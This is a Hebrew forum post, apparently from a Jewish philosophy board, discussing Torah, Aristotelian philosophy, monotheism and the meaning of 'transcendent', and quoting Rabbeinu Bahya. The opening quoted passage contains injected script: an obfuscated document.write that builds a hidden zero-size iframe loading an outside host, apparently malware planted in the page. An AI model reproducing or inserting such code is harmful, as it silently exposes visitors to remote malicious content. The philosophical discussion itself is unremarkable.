| מיימוני כתב: |  | | אם כי התורה אינה פילוסופיה ובוודאי לא פילוסופיה אריסטוטלית. נכון שהיו שטעו. היו כאלו בימי הבינים, ויש כאלו עד היום. < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
טוב לראות את הנושא הדורש את המחשבה הפילוסופית. אותי מעניין הביטים אקטואליים בעתנו, לא היסטוריים. התורה מחנכת את המונותאיזם ומידות טובות טוב מכל ספר אחר. עם זה אינה מבטלת את הצורך בספרים בשפה מדעית. גם ספרי הפיזיקה וגם מטאפיזיקה. ואם מדברים על המונותאיזם כמונח מדעי אז חייבים את המטאפיזיקה. ***מן הראוי היה להגדיר כמה מונחי יסוד. מונותיאיזם, טרנצנדנטי***
לגבי טרנצנדנטי, יכול להיות בלבול. יש מבינים טרנצנדנטי שהוא מעבר לכל השגה. ויש אפשרות להבין את זה כמעבר למוחשי, אבל בר השגה שכלית.
במובן הראשון אינו טרנצנדנטי הא-ל כי "הוֹדִעֵנִי נָא אֶת-דְּרָכֶךָ, וְאֵדָעֲךָ".
חוק הטבע הוא טרנצנדנטי במובן השני. וכל דבר שהוא הוא לא ניתן להבנה מוחלטת. נראה כי בימינו הפילוסופיה היא בכלל מוקצה אצל הפוסקים בניגוד לחכמי ספרד. אבל כתוצאה מזה גם הבנה הנאות לתורה והמונותאיזם בפרט אי אפשר לצפות מאלה שדוחים את המטאפיזיקה. כולם למדו להכחיש את הגשמת הא-ל, ואילו "כולם" מאמינים כי הא-ל "כתב בעצמו על שני לוחות", "שמע העם קול אלוהים מדבר עליו". כלומר, במילים מכחישים אלא במשמעות מגשימים. . אבל זה מכבר אמר רבנו בחיי, גם מונותיאיזם כאן: "ואמת אמר הפילוסוף, באומרו: לא יוכל לעבוד עילת העילות ותחילת ההתחלות, אלא נביא הדור בטבעו, או הפילוסוף המובהק, במה שקנהו מן החכמה. אבל זולתם, עובדים זולתו, מפני שאינם מבינים נמצא אלא מורכב." (חובות הלבבות, שער הייחוד, פרק ב)
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
